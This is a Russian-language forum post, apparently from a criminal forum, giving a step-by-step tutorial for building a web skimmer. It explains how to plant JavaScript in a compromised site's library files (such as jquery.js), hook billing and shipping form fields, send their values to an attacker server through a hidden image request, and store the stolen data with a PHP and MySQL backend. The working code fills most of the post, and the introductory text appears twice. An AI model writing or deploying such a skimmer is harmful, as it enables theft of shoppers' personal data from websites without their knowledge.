- Регистрация
- 31.12.2019
- Сообщения
- 7,534
- Реакции
- 36
Вы не разбираетесь в кодинге, выступает пот когда видите набор не понятных символов и слов, у вас есть доступ к сайту, где вводят интересную информацию и вы хотите иметь возможность её "прочесть", но не хотите тратить деньги на покупку специального софта или доверить кому-то доступ?
Тогда этот пост для вас!
Здесь я опишу как быстро и самостоятельно написать код который собирает и отправляет инфу, вы не увидите здесь антидетектов или оптимальных решений, это пожалуй самое простое, не самое лучшее, но главное рабочее решение.
p.s. Если у вас действительно хороший доступ, лучше обратитесь к специалистам, их на данный момент не мало
p.p.s. я не работаю, мне писать не надо с предложениями.
Приступаем:
Вам необходимо иметь доступ, который позволит вам подключить JS скрипт к странице, если у вас есть шелл или фтп доступ, попробуйте добавить js код в один из существующих файлов ( который присутствует на странице с которой вы собираетесь собирать информацию, для этого нажмите правой кнопкой мыши на страницу и выберите просмотр кода страницы, после чего поищите строки в виде <script src="/js/jquery.js">, сам путь к файлу как могли догадаться /js/jquery.js, советую выбирать файлы которые содержат библиотеки кода, тот же jquery к примеру, так как их в повседневной работе не редактируют).
Если у вас доступ только к админ части, попробуйте погуглить, возможно есть способ залить шелл или добавить html-код к странице, в популярных cms это сделать можно! (если вам необходимо добавить html код к странице весь приведенный js-код вам необходимо будет вставить между <script>js code</script>)
Следующий шаг это определение полей ввода которые нас интересует. Откройте страницу, и на поле ввода нажмите правой кнопкой мыши и выберите исследование элемента, перед вами откроется консоль разработчика где вы увидите html-код этого поля, он должен быть автоматически выделен у вас и иметь подобный вид:
В данном примере мы видим следующие параметры: type,name,class,id,onclick, в частых ситуациях нас интересует лишь один из трёх: name,class,id, остальные можно не учитывать для нашей задачи.
Вы должны выбрать именно тот параметр который имеет уникальное значение в отношении других элементов, если есть параметр id выбирайте его, он должен быть уникальным для всей страницы.
В зависимости от выбранного параметра вы будете использовать одну из следующих функций, как их использовать опишу ниже.
Дальше нам необходимо написать код, который будет отслеживать изменения в поле ввода, для этого создаем следующий код:
Теперь перепишите таким образом для каждого поля которое вас интересует, должно выйти следующим образом:
Если вам необходимо добавить сбор данных с полей которые находятся на другой странице (к примеру часть данных вводится на одной форме и после отправки вы попадаете на следующую страницу где продолжаете вводить данные), вы должны добавить новый блок try{}catch(e){}, он нужен для того чтобы когда браузер не найдет запрашиваемые поля скрипт не создавал ошибок, сделать это просто, пример:
Осталось написать часть которая собирает данные и отправляет их.
Завершающим этапом (за который меня закидают тапками) будет добавление последней строки в наш js-код
Эта строка поможет нам отследить когда появиться поле ввода.
На этом снифер завершен и мы можем его объединить ( очередность блоков не важна).
Так же важно помнить что отправка данных с страницы которая использует https:// должна идти так же на https://
Осталось написать серверную часть:
Все данные мы будем писать в базу данных mysql, она есть практически на каждом хостинге
Нам необходимо зайти в базу данных, можете использовать для этого adminer или phpMyAdmin и создать таблицу куда всё это будет писаться.
Назовём её info_table и создадим в ней следующие колонки
Сделайте все поля кроме id формата string. Как работать с базой расписывать не буду, много материала в сети.
Мы создали таблицу в которой есть собственная колонка для каждого поля ввода, дальше я напишу php script на который снифер отправляет запрос, он должен работать универсально, вам необходимо будет внести лишь несколько изменений:
Теперь записи должны появиться у вас в базе данных.
Спасибо кто дочитал до конца, будут вопросы задавайте, всем удачи в бизе!
Автор: roshen
Тогда этот пост для вас!
Здесь я опишу как быстро и самостоятельно написать код который собирает и отправляет инфу, вы не увидите здесь антидетектов или оптимальных решений, это пожалуй самое простое, не самое лучшее, но главное рабочее решение.
p.s. Если у вас действительно хороший доступ, лучше обратитесь к специалистам, их на данный момент не мало
p.p.s. я не работаю, мне писать не надо с предложениями.
Приступаем:
Вам необходимо иметь доступ, который позволит вам подключить JS скрипт к странице, если у вас есть шелл или фтп доступ, попробуйте добавить js код в один из существующих файлов ( который присутствует на странице с которой вы собираетесь собирать информацию, для этого нажмите правой кнопкой мыши на страницу и выберите просмотр кода страницы, после чего поищите строки в виде <script src="/js/jquery.js">, сам путь к файлу как могли догадаться /js/jquery.js, советую выбирать файлы которые содержат библиотеки кода, тот же jquery к примеру, так как их в повседневной работе не редактируют).
Если у вас доступ только к админ части, попробуйте погуглить, возможно есть способ залить шелл или добавить html-код к странице, в популярных cms это сделать можно! (если вам необходимо добавить html код к странице весь приведенный js-код вам необходимо будет вставить между <script>js code</script>)
Следующий шаг это определение полей ввода которые нас интересует. Откройте страницу, и на поле ввода нажмите правой кнопкой мыши и выберите исследование элемента, перед вами откроется консоль разработчика где вы увидите html-код этого поля, он должен быть автоматически выделен у вас и иметь подобный вид:
PHP:
<input type="text" name="first_name" class="inp-fname" id="billing_first_name" onclick="valid(this)">
В данном примере мы видим следующие параметры: type,name,class,id,onclick, в частых ситуациях нас интересует лишь один из трёх: name,class,id, остальные можно не учитывать для нашей задачи.
Вы должны выбрать именно тот параметр который имеет уникальное значение в отношении других элементов, если есть параметр id выбирайте его, он должен быть уникальным для всей страницы.
В зависимости от выбранного параметра вы будете использовать одну из следующих функций, как их использовать опишу ниже.
PHP:
name = getElementsByName
class = getElementsByClassName
id = getElementById
Дальше нам необходимо написать код, который будет отслеживать изменения в поле ввода, для этого создаем следующий код:
PHP:
function spy_func(){
try{
document.getElementsByName("first_name")[0].setAttribute("onchange","spy_send()");//если вы выбрали параметр name
document.getElementsByClassName("inp-fname")[0].setAttribute("onchange","spy_send()");//если вы выбрали параметр class
document.getElementById("billing_first_name").setAttribute("onchange","spy_send()");//если вы выбрали параметр id
}
catch(e){}
}
Теперь перепишите таким образом для каждого поля которое вас интересует, должно выйти следующим образом:
PHP:
function spy_func(){
try{
document.getElementById("billing_first_name").setAttribute("onchange","spy_send()");
document.getElementById("billing_last_name").setAttribute("onchange","spy_send()");
document.getElementById("billing_phone").setAttribute("onchange","spy_send()");
}
catch(e){}
}
Если вам необходимо добавить сбор данных с полей которые находятся на другой странице (к примеру часть данных вводится на одной форме и после отправки вы попадаете на следующую страницу где продолжаете вводить данные), вы должны добавить новый блок try{}catch(e){}, он нужен для того чтобы когда браузер не найдет запрашиваемые поля скрипт не создавал ошибок, сделать это просто, пример:
PHP:
function spy_func(){
try{
document.getElementById("billing_first_name").setAttribute("onchange","spy_send()");
document.getElementById("billing_last_name").setAttribute("onchange","spy_send()");
document.getElementById("billing_phone").setAttribute("onchange","spy_send()");
}
catch(e){}
try{
document.getElementById("shipping_first_name").setAttribute("onchange","spy_send()");
document.getElementById("shipping_last_name").setAttribute("onchange","spy_send()");
document.getElementById("shipping_phone").setAttribute("onchange","spy_send()");
}
catch(e){}
}
Осталось написать часть которая собирает данные и отправляет их.
PHP:
function spy_send(){
var data_str="";
try{
data_str += "billing_f_name="+ document.getElementById("billing_first_name").value.toString() + "&"; //Не забывайте использовать конкретную функцию для параметра который используете
data_str += "billing_l_name="+ document.getElementById("billing_last_name").value.toString() + "&";
data_str += "billing_phone="+ document.getElementById("billing_phone").value.toString() + "&";
}
catch(e){}
//Так же для каждой страницы свой блок try{}catch(e){}
try{
data_str += "shipping_f_name="+ document.getElementById("shipping_first_name").value.toString() + "&"; //Не забывайте использовать конкретную функцию для параметра который используете
data_str += "shipping_l_name="+ document.getElementById("shipping_last_name").value.toString() + "&";
data_str += "shipping_phone="+ document.getElementById("shipping_phone").value.toString() + "&";
}
catch(e){}
//здесь мы имеем уже сформированную строку с данными data_str и запрашиваем с нашего сервера domain.com наш скрипт ( можете использовать другой известный вам способ отправки данных)
try{
var img = document.createElement("img");
img.src ="https://domain.com/script.php?"+data_str;
img.style="display:none";
var src = document.getElementsByTagName("body")[0];
src.appendChild(img);
}
catch(e){}
return true;
}
Завершающим этапом (за который меня закидают тапками) будет добавление последней строки в наш js-код
PHP:
window.setInterval(spy_func, 1000);
Эта строка поможет нам отследить когда появиться поле ввода.
На этом снифер завершен и мы можем его объединить ( очередность блоков не важна).
Так же важно помнить что отправка данных с страницы которая использует https:// должна идти так же на https://
Осталось написать серверную часть:
Все данные мы будем писать в базу данных mysql, она есть практически на каждом хостинге
Нам необходимо зайти в базу данных, можете использовать для этого adminer или phpMyAdmin и создать таблицу куда всё это будет писаться.
Назовём её info_table и создадим в ней следующие колонки
PHP:
id (необходимо поставить галочку AUTO INCREMENT)
billing_f_name
billing_l_name
billing_phone
shipping_f_name
shipping_l_name
shipping_phone
ip
Сделайте все поля кроме id формата string. Как работать с базой расписывать не буду, много материала в сети.
Мы создали таблицу в которой есть собственная колонка для каждого поля ввода, дальше я напишу php script на который снифер отправляет запрос, он должен работать универсально, вам необходимо будет внести лишь несколько изменений:
PHP:
<?php
header("Access-Control-Allow-Origin: *");
$db_config=Array( //впишите данные доступа к базе данных
"host"=>"localhost",
"user"=>"root",
"pass"=>"qwerty",
"db_name"=>"my_database",
"tbl_name"=>"info_table",
);
$sniff_inputs = Array(//пропишите название полей из снифера (сравните с примером)
"billing_f_name", "billing_l_name","billing_phone", "shipping_f_name","shipping_l_name","shipping_phone"
);
//end
$db= new mysqli($db_config["host"],$db_config["user"],$db_config["pass"],$db_config["db_name"]);
$ip = $db->real_escape_string($_SERVER["REMOTE_ADDR"]);
$data = $_REQUEST;
foreach($data as $key=>$value){
$data[$key]=$db->real_escape_string($value);
}
$updated_data = Array();
foreach($sniff_inputs as $input){
if(!empty($data[$input]))
$updated_data[$input] = $data[$input];
}
$find_id = $db->query("select id from {$db_config["tbl_name"]} where ip='{$ip}'");
$find_id = $find_id->fetch_assoc();
if(empty($find_id)){
$sql = "insert into {$db_config["tbl_name"]} (";
$part_key="";
$part_value="";
foreach($updated_data as $key=>$value){
if(!empty($part_key)){
$part_key.=",";
$part_value.=",";
}
$part_key.="`{$key}`";
$part_value.="'{$value}'";
}
$sql .= "{$part_key}, ip) values ({$part_value}, '{$ip}')";
}
else{
$id=$find_id["id"];
$sql = "update {$db_config["tbl_name"]} set ";
$part= "";
foreach($updated_data as $key=>$value){
if(!empty($part)) $part.=",";
$part .="`{$key}`='$value'";
}
$sql .= "{$part} where id={$id}";
}
$db->query($sql);
Теперь записи должны появиться у вас в базе данных.
Спасибо кто дочитал до конца, будут вопросы задавайте, всем удачи в бизе!
Автор: roshen